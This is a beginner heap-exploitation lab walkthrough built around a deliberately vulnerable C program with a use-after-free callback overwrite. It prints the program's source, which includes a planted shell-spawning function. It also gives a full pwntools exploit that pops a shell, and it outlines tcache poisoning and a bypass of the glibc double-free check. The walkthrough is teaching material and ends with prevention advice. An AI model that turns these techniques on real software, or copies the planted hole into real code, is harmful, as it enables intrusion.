

Level 2: Double Free / UAF - Callback Overwrite

Heap Exploitation Walkthrough | x86-64 Linux | Beginner-Intermediate

1. What is a Double Free?

A **double free** occurs when the same memory block is freed twice without allocating new memory in between. This corrupts the heap's free list, allowing an attacker to overlap chunks and gain arbitrary write capabilities.

In this challenge, the primary exploit path is **Use-After-Free with callback overwrite**. After freeing a user struct, the pointer is not nulled. The attacker edits the freed chunk to overwrite the **callback function pointer**, then triggers it to call **secret_func()**.

The name "double free" refers to the fact that freeing the same chunk twice (without the intervening malloc) would corrupt the tcache free list. Even though the provided exploit only frees once, the vulnerability class is double-free because the program allows it.

2. Security Settings

Compiled with: **gcc -fno-stack-protector -no-pie**

Protection	Status	Impact
Stack Canary	OFF	No stack smashing detection
PIE	OFF	Binary addresses are fixed
NX	ON (default)	Stack not executable
tcache	ON	Default heap allocator

3. The Source Code (dbl_free.c)

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

typedef struct {
    char name[32];           // offset 0: 32 bytes
    char data[32];           // offset 32: 32 bytes
    void (*callback)(void*); // offset 64: 8 bytes <-- FUNCTION POINTER
} User;                      // total: 72 bytes (+ padding to 80)

User *users[16];
int uidx = 0;

void say_hello(void *ptr) {
    User *u = (User*)ptr;
    printf("Hello, %s!\n", u->name);
}
```

```

void secret_func() {
    printf("Ueberraschung! Du hast die secret_func erreicht!\n");
    system("/bin/sh");
}

void create_user() {
    if (uidx >= 16) return;
    users[uidx] = malloc(sizeof(User));
    printf("Name: ");
    read(0, users[uidx]->name, 32);
    printf("Data: ");
    read(0, users[uidx]->data, 32);
    users[uidx]->callback = say_hello; // <-- sets callback
    uidx++;
    printf("User #%d created\n", uidx - 1);
}

void delete_user() {
    int i;
    printf("Index: ");
    scanf("%d", &i);
    if (i < 0 || i >= uidx || !users[i]) return;
    free(users[i]);
    // BUG: users[i] is NOT set to NULL!
    printf("User #%d deleted\n", i);
}

void edit_user() {
    int i;
    printf("Index: ");
    scanf("%d", &i);
    if (i < 0 || i >= uidx || !users[i]) return;
    printf("Name: ");
    read(0, users[i]->name, 32);
    printf("Data: ");
    read(0, users[i]->data, 32);
    printf("Callback: ");
    read(0, &users[i]->callback, 8); // <-- overwrites callback!
}

void call_user() {
    int i;
    printf("Index: ");
    scanf("%d", &i);
    if (i < 0 || i >= uidx || !users[i]) return;
    users[i]->callback(users[i]); // <-- calls the function pointer
}

```

4. The Vulnerability

Two bugs combine to create the exploit path:

Bug 1: Missing NULL after free

delete_user() calls **free(users[i])** but never sets **users[i] = NULL**. The dangling pointer allows subsequent edit and call operations on freed memory.

Heap state after delete_user(0):

```

users[0] --> [ FREED CHUNK ]    <-- still accessible!
              (tcache bin)      pointer was NOT nulled

```

```
edit_user(0, ...) still works:
- reads into users[0]->name      (32 bytes)
- reads into users[0]->data      (32 bytes)
- reads into users[0]->callback  (8 bytes)  <-- OVERWRITE!
```

Bug 2: Callback Overwrite in edit_user()

edit_user() allows writing directly into **&users[i]->callback** - the function pointer at **offset 64** in the struct. Combined with the dangling pointer, we can overwrite the callback of a freed chunk.

5. Struct Layout and Key Offset

User struct (80 bytes on heap, 72 bytes content + 8 padding):

Offset	Field	
0	name[32]	32 bytes
32	data[32]	32 bytes
64	callback (fn ptr)	8 bytes <-- TARGET
72	(padding)	8 bytes

```
sizeof(User) = 72 bytes (may be 80 with alignment)
offsetof(User, callback) = 64 bytes
```

6. The Attack Strategy

The exploit uses a **4-step strategy**:

Step 1: Create User 0

Allocate a User chunk on the heap. **users[0]** points to it. The **callback** field is set to **say_hello**.

Step 2: Delete User 0 (Free)

free(users[0]) returns the chunk to the tcache bin. **users[0]** still points to the freed memory (dangling pointer).

Step 3: Edit User 0 (UAF Write)

Use **edit_user(0)** to write into the freed chunk. The **callback** field at offset 64 is overwritten with the address of **secret_func()**. The name and data fields are also overwritten (we send dummy values).

Step 4: Call User 0 (Trigger)

call_user(0) invokes **users[0]->callback(users[0])**. Since callback was overwritten to **secret_func**, this calls **secret_func(users[0])**. We get a shell.

Alternative: True Double Free

If we were to call **delete_user(0)** twice without allocating in between, the tcache would form a cycle: **A -> A -> A -> ...**. The next two mallocs would return the same address, allowing more complex exploitation. Modern glibc (2.32+) detects this with tcache key checks.

Double free scenario (NOT used in this exploit):

```
delete(0) -> free(users[0])
tcache: [A] -> NULL
```

```

delete(0) -> free(users[0]) AGAIN
tcache: [A] -> [A] -> ... (cycle!)

create() -> malloc() returns A
create() -> malloc() returns A AGAIN
Both users[0] and users[1] point to A
+ the tcache still has A in its free list!

```

This gives overlapping allocations + free list corruption.
Can be exploited for arbitrary write via tcache poisoning.

7. The Exploit (exploit.py)

```

from pwn import *

p = process("./dbl_free")
elf = ELF("./dbl_free")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

secret_func = 0x40124c

def create(name, data):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Name: ', name)
    p.sendlineafter(b'Data: ', data)

def delete(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'Index: ', str(idx).encode())

def edit(idx, name, data, callback):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'Index: ', str(idx).encode())
    p.sendlineafter(b'Name: ', name)
    p.sendlineafter(b'Data: ', data)
    p.sendlineafter(b'Callback: ', callback)

def call_user(idx):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'Index: ', str(idx).encode())

create(b'AAAA', b'BBBB')
delete(0)
edit(0, b'CCCC', b'DDDD', p64(secret_func))
call_user(0)

p.interactive()

```

Line-by-Line Explanation

```

Line 1: from pwn import *
Imports pwntools.

Line 3: p = process("./dbl_free")
Starts the binary as a child process.

Line 4: elf = ELF("./dbl_free")
Loads the ELF for symbol lookup.

Line 5: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
Loads local libc (for advanced exploits that leak libc).

Line 7: secret_func = 0x40124c

```

Hardcoded address of secret_func() (no PIE = fixed).
Found with: objdump -d dbl_free | grep secret_func

Lines 9-11: create() helper
Sends menu choice '1', then name and data.

Lines 13-15: delete() helper
Sends menu choice '2' and the index.
After this, users[idx] is a dangling pointer.

Lines 17-22: edit() helper
Sends menu choice '3', index, name, data, and callback.
The callback parameter is p64(secret_func) -
an 8-byte little-endian encoded address.
This overwrites the function pointer at offset 64.

Lines 24-26: call_user() helper
Sends menu choice '4' and the index.
Triggers the callback function pointer.

Line 28: create(b'AAAA', b'BBBB')
Creates User 0. malloc(72). callback = say_hello.

Line 29: delete(0)
free(users[0]). users[0] still points to freed memory.

Line 30: edit(0, b'CCCC', b'DDDD', p64(secret_func))
Writes to the freed chunk via dangling pointer.
Overwrites callback field (offset 64) with secret_func.

Line 31: call_user(0)
Calls users[0]->callback(users[0]).
Since callback == secret_func:
-> secret_func() executes -> system("/bin/sh") -> Shell!

Line 33: p.interactive()
Drops into interactive shell mode.

What Happens at Runtime

STEP create() -> users[0] = malloc(72)
Heap: [User0: name|data|say_hello]

STEP delete(0) -> free(users[0])
Heap: [User0: FREE] (tcache)
users[0] still points here!

STEP edit(0, ..., p64(secret_func))
Writes to the freed chunk:
[User: CCCC|DDDD|secret_func]
The callback field at offset 64 = secret_func

STEP call_user(0) -> users[0]->callback(users[0])
callback = secret_func
secret_func() -> system("/bin/sh") -> Shell!

8. Address Reference

Binary addresses (no PIE):
secret_func : 0x40124c
say_hello() : from ELF symbols

Struct offset:

```
offsetof(User, callback) = 64 bytes
```

9. Expected Output

```
$ python3 exploit.py
[*] Starting local process './dbl_free': pid 12345
=== Double Free Lab ===
> 1
Name: Data: User #0 created
> 2
Index: User #0 deleted
> 3
Index: Name: Data: Callback:
> 4
Index: Ueberraschung! Du hast die secret_func erreicht!
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ whoami
user
$ exit
```

10. Double Free Deep Dive: tcache Poisoning

While this exploit uses a simple UAF callback overwrite, the **double free** class enables a more powerful technique called **tcache poisoning**. Here is how it works conceptually:

Tcache Poisoning (theoretical, for learning):

1. Allocate chunk A (size 0x50)
2. Free chunk A -> tcache: [A]
3. Free chunk A AGAIN -> tcache: [A] -> [A] (cycle!)
4. Allocate -> returns A, tcache: [A]
Write target_addr into A's fd pointer (first 8 bytes)
5. Allocate -> returns A, tcache: [target_addr]
6. Allocate -> returns target_addr!
-> We now have a chunk at an ARBITRARY address
-> Can overwrite __free_hook, GOT, etc.

NOTE: glibc 2.32+ adds a key field to detect this.
Workaround: overwrite the key during the UAF write.

In this challenge, we do not need tcache poisoning because the callback overwrite gives us direct control. But in real-world scenarios where no function pointer is available, tcache poisoning is the go-to technique.

11. Modern Heap Protections

glibc 2.32+ tcache key:

When a chunk is freed into tcache:
chunk->key = tcache (pointer to tcache struct)

On second free (double free attempt):
if (chunk->key == tcache)
abort() // detected!

Bypass: During UAF write, overwrite chunk->key
with a non-tcache value before the second free.

glibc 2.34+ also removes __malloc_hook, __free_hook,
__realloc_hook - no more easy hook-based exploitation.

12. How to Prevent This Vulnerability

- **NULL the pointer after free()** - Set `users[i] = NULL` immediately after `free(users[i])`. This prevents any subsequent edit or call on the freed chunk.
- **Double-free detection** - Before freeing, check if the chunk is already in the tcache. Modern glibc does this via the key field. Implement it in your own code.
- **Separate allocation from callback setup** - Do not let users control callback pointers directly. Use an indirect lookup table or validated function index instead.
- **Use AddressSanitizer (ASan)** - Compile with `-fsanitize=address`. Detects both UAF and double-free at runtime with detailed reports.
- **Enable glibc hardening** - Use modern glibc (2.32+) with tcache key checks. Enable `_FORTIFY_SOURCE` for buffer overflow detection.
- **Use safe memory allocators** - Consider hardened allocators like **scudo** (Android) or **jemalloc** with double-free detection and guard pages.
- **Memory-safe languages** - Rust, Go, or Swift prevent these issues at compile/runtime. Rust in particular guarantees no UAF or double-free by design.
- **Use-after-free as a class** - Treat all freed-memory access as a vulnerability class. Audit any code path where `free()` is followed by dereference of the same pointer.